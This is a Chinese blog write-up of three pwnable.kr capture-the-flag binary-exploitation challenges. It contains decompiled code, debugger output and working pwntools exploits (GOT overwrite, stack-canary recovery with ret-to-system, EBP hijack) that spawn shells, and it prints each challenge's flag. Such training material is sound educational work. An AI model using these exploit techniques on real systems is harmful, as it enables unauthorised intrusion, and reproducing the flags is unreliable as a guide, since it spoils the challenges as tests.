ღ Miranda

pwnable.kr的PWN挑战之Rookiss(一)

pwnable.kr is a non-commercial site which provides various pwn challenges regarding system exploitation. the main purpose of pwnable.kr is fun.

refer:
https://werew.tk/
http://www.sheepshellcode.com/

brain fuck-150pt

首先把文件放进IDA得到反编译的源码:

int __cdecl do_brainfuck(char a1)
{
  int result; // eax@1
  _BYTE *v2; // ebx@7

  result = a1;
  switch ( a1 )
  {
    case 62:   //>
      result = p++ + 1;
      break;
    case 60:  //<
      result = p-- - 1;
      break;
    case 43:  //+
      result = p;
      ++*(_BYTE *)p;
      break;
    case 45:  //-
      result = p;
      --*(_BYTE *)p;
      break;
    case 46:  //.
      result = putchar(*(_BYTE *)p);
      break;
    case 44:   //,
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case 91:   //[
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@4
  int v4; // edx@4
  size_t i; // [sp+28h] [bp-40Ch]@1
  int v6; // [sp+2Ch] [bp-408h]@1
  int v7; // [sp+42Ch] [bp-8h]@1

  v7 = *MK_FP(__GS__, 20);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)&tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(&v6, 0, 0x400u);
  fgets((char *)&v6, 1024, stdin);
  for ( i = 0; i < strlen((const char *)&v6); ++i )
    do_brainfuck(*((_BYTE *)&v6 + i));
  result = 0;
  v4 = *MK_FP(__GS__, 20) ^ v7;
  return result;
}

可以知道就是可以通过<>.,+-符号来控制指针的前后移动和读写,思路就是通过指针移动泄露函数地址然后覆写GOT表,,由于这题开启了ASLR而且题目给了bf_libc.so文件,可以用来获得函数的偏移地址,再得到泄露的地址,就可以计算库的基地址。

获得偏移:

root@kaliSevie:~/Desktop# readelf -s bf_libc.so | grep system@@GLIBC_2.0
  1457: 0003a920    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

函数操作的指针p的起始地址可以通过gdb再结合伪代码得到:

gdb-peda$ disassemble main
...
0x080486de <+109>:  mov    DWORD PTR ds:0x804a080,0x804a0a0
0x080486e8 <+119>:  mov    DWORD PTR [esp],0x804890c
0x080486ef <+126>:  call   0x8048470 <puts@plt>
...

0x804a0a0就是p的起始地址。

bfGOT表:

0804a00c R_386_JUMP_SLOT   getchar@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   fgets@GLIBC_2.0
0804a018 R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   strlen@GLIBC_2.0
0804a028 R_386_JUMP_SLOT   setvbuf@GLIBC_2.0
0804a02c R_386_JUMP_SLOT   memset@GLIBC_2.0
0804a030 R_386_JUMP_SLOT   putchar@GLIBC_2.0

思路就是将putcharGOT表覆盖为main函数的地址,memset覆盖为getsfgets覆盖为system,具体的exp如下:

from pwn import *

#context.log_level = 'debug'

conn = remote('pwnable.kr', 9001)
#conn = process('/root/Desktop/bf')

main_addr = 0x08048671

ptr = 0x0804a0a0
putchar_got = 0x0804a030
memset_got = 0x0804a02c
fgets_got = 0x0804a010

system_offset = 0x3a920
putchar_offset = 0x60c80
memset_offset = 0x76150
fgets_offset = 0x5d540
gets_offset = 0x5e770

payload = "<" * 112 # get to putchar got(ptr - putchar_got = 112)
payload += "."  # involve putchar to update got table
payload += ".>" * 4 # read putchar address
payload += "<" * 4
payload += ",>" * 4 # write putchar got
payload += "<" * 8 # get to memset got
payload += ",>" * 4 # write memset got
payload += "<" * 32 # get to fgets got
payload += ",>" * 4 # write fgets got
payload += "." # call putchar got

conn.recvuntil('[ ]\n')
#gdb.attach(conn)
conn.sendline(payload)
conn.recv(1) # junk
putchar_addr = u32(conn.recv(4))
libc_base = putchar_addr - putchar_offset
system_addr = libc_base + system_offset
memset_addr = libc_base + memset_offset
fgets_addr = libc_base + fgets_offset
gets_addr = libc_base + gets_offset

conn.send(p32(main_addr))
conn.send(p32(gets_addr))
conn.send(p32(system_addr))

conn.sendline("//bin/sh")
conn.interactive()

运行:

root@kaliSevie:~/Desktop# python 1.py 
[+] Opening connection to pwnable.kr on port 9001: Done
[*] Switching to interactive mode
welcome to brainfuck testing system!!
type some brainfuck instructions except [ ]
$ cat flag
BrainFuck? what a weird language..

md5 calculator-200pt

拿到程序首先反编译:

int process_hash()
{
  int v0; // ST14_4@3
  void *ptr; // ST18_4@3
  char v3; // [sp+1Ch] [bp-20Ch]@1
  int v4; // [sp+21Ch] [bp-Ch]@1

  v4 = *MK_FP(__GS__, 20);
  memset(&v3, 0, 0x200u);
  while ( getchar() != 10 )
    ;
  memset(g_buf, 0, sizeof(g_buf));
  fgets(g_buf, 1024, stdin);
  memset(&v3, 0, 0x200u);
  v0 = Base64Decode(g_buf, &v3);
  ptr = (void *)calc_md5(&v3, v0);
  printf("MD5(data) : %s\n", ptr);
  free(ptr);
  return *MK_FP(__GS__, 20) ^ v4;
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax@1
  int v5; // [sp+18h] [bp-8h]@1
  int v6; // [sp+1Ch] [bp-4h]@1

  setvbuf(stdout, 0, 1, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("- Welcome to the free MD5 calculating service -");
  v3 = time(0);
  srand(v3);
  v6 = my_hash();
  printf("Are you human? input captcha : %d\n", v6);
  __isoc99_scanf("%d", &v5);
  if ( v6 != v5 )
  {
    puts("wrong captcha!");
    exit(0);
  }
  puts("Welcome! you are authenticated.");
  puts("Encode your data with BASE64 then paste me!");
  process_hash();
  puts("Thank you for using our service.");
  system("echo `date` >> log");
  return 0;
}

可以知道输入的最大长度为1024bytes,然后经过base64解码,然而解码后的缓冲区只有512bytes:

  fgets(g_buf, 1024, stdin);
  memset(&v3, 0, 0x200u);
  v0 = Base64Decode(g_buf, &v3);

这里v3就是解码后的缓冲区,只有0x200(512)bytes,但这题开启了栈保护:

   0x08049074 <+226>:   mov    eax,DWORD PTR [ebp-0xc]
   0x08049077 <+229>:   xor    eax,DWORD PTR gs:0x14
   0x0804907e <+236>:   je     0x8049085 <process_hash+243>
   0x08049080 <+238>:   call   0x8048990 <__stack_chk_fail@plt>

溢出后会导致栈上的cookie改变,从而调用__stack_chk_fail函数退出程序。

如果要覆盖返回地址就会先覆盖到canary值:

 |-----------------------------------|
 | local variables                   | 
 |-----------------------------------|
 | local frame pointer (%ebp)        | 
 |-----------------------------------|
 | canary                            |
 |-----------------------------------|
 | function's return address (RET)   |
 |-----------------------------------|
 | parameters passed to function     |
 |-----------------------------------|

观察my_hash函数,发现这里的canary的值参与了captcha的运算:

0016| 0xbffff670 --> 0x6f38c513  //v4
0020| 0xbffff674 --> 0x113e8055  //v5
0024| 0xbffff678 --> 0x244c57d4  //v6
0028| 0xbffff67c --> 0x37edca63  //v7
0032| 0xbffff680 --> 0x6c3e7adc  //v8
0036| 0xbffff684 --> 0x7dedd660  //v9
0040| 0xbffff688 --> 0x36002fd7  //v10
0044| 0xbffff68c --> 0x478e3c00  //v11 (canary)

captcha = v7 - v9 + v10 + canary + v5 - v6 + v4 + v8;

所以只要有了随机数的种子,也就是时间,再得到验证码,减去其他随机数就可以得到canary的值,题目提示这题的时间和服务器一致,反汇编得到systemexit的地址:

08048880 <system@plt>:
 8049187:   e8 f4 f6 ff ff          call   8048880 <system@plt>

08048a00 <exit@plt>:
 8049152:   e8 a9 f8 ff ff          call   8048a00 <exit@plt>

通过修改寄存器值调试得到覆盖返回值的偏移量是528,sh字符串所在地址为0x8048482,脚本如下:

from pwn import *
import time
import os

#context.log_level = 'debug'

system = 0x08048880
exit = 0x08048a00
system_arg = 0x8048482  # 'sh'

#conn = remote('pwnable.kr', 9002)
conn = remote('127.0.0.1', 9002)

conn.recvuntil("captcha : ")
captcha = conn.recvuntil("\n")
conn.send(captcha)
captcha = int(captcha.strip())
t = int(time.time())

canary = '0x' + os.popen('./canary {} {}'.format(str(t), captcha)).read()
canary = int(canary, 16)

payload = "A" * 512
payload += p32(canary)
payload += "A" * 12
payload += p32(system)
payload += p32(exit)
payload += p32(system_arg)

conn.sendline(b64e(payload))
conn.interactive()

canary.c:

#include <assert.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv) {

    int time = atoi(argv[1]);
    int captcha = atoi(argv[2]);
    srand(time);
    int i = 0;
    int rands[8];

    for (;i < 8; i++) {

        rands[i] = rand();
    }

    int c = rands[1] + rands[2] - rands[3] + rands[4] + rands[5] - rands[6] + rands[7];
    int canary = captcha - c;
    printf("%x\n", canary);
    return 0;
}

为了使时间一致,可以在pwnable.kr的服务器上运行脚本:

memcpy@ubuntu:/tmp$ python 1.py
[+] Opening connection to 127.0.0.1 on port 9002: Done
[*] Switching to interactive mode
Welcome! you are authenticated.
Encode your data with BASE64 then paste me!
MD5(data) : 345ae04d2d1f78e2cbc20618fe4f5f7e
$ cat flag
Canary, Stack guard, Stack protector.. what is the correct expression?

远程的方式可能由于请求服务器时间有延迟所以没有成功。

simple login-50pt

反编译得到:

void __noreturn correct()
{
  if ( input == -559038737 )
  {
    puts("Congratulation! you are good!");
    system("/bin/sh");
  }
  exit(0);
}

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [sp+14h] [bp-14h]@1
  char *s2; // [sp+1Ch] [bp-Ch]@1
  int v4; // [sp+20h] [bp-8h]@1

  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5((int)&v2, 12);
  printf("hash : %s\n", s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;

}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v3; // ST04_1@1
  int v5; // [sp+18h] [bp-28h]@1
  __int16 v6; // [sp+1Eh] [bp-22h]@1
  unsigned int v7; // [sp+3Ch] [bp-4h]@1

  memset(&v6, 0, 0x1Eu);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("Authenticate : ", v3);
  _isoc99_scanf("%30s", (unsigned int)&v6);
  memset(&input, 0, 0xCu);
  v5 = 0;
  v7 = Base64Decode(&v6, &v5);
  if ( v7 > 0xC )
  {
    puts("Wrong Length");
  }
  else
  {
    memcpy(&input, v5, v7);
    if ( auth(v7) == 1 )
      correct();
  }
  return 0;
}

发现base64解码后的最大长度为12,输入12个a,发现溢出了:

seviezhou@VirtualBox:~/Desktop$ ./login 
Authenticate : aaaaaaaaaaaa
hash : 9259a9365b7c7b007874db0eb87053af
Segmentation fault (core dumped)

gdb调试,输入abcdefghijkl的编码后的值发现最后四位会覆盖到ebp的值:

EBP: 0x6c6b6a69 ('ijkl')

=> 0x8049424 <main+279>:    leave
   0x8049425 <main+280>:    ret

leave = mov esp, ebp  pop ebp  add esp,0x4

所以利用leave ret我们可以控制返回地址,返回0x08049284即可:

   0x08049284 <+37>:    mov    DWORD PTR [esp],0x80da66f
   0x0804928b <+44>:    call   0x805b2b0 <system>

可以把ebp覆盖为input的地址:

.bss:0811EB40 input

exploit:

>>> base64.b64encode(b'aaaa\x84\x92\x04\x08\x40\xeb\x11\x08')
b'YWFhYYSSBAhA6xEI'

seviezhou@VirtualBox:~/Desktop$ nc pwnable.kr 9003 
Authenticate : YWFhYYSSBAhA6xEI
hash : b96aa056ef2169184b8b0716d956b1b1
cat flag
control EBP, control ESP, control EIP, control the world~

发表评论

电子邮件地址不会被公开。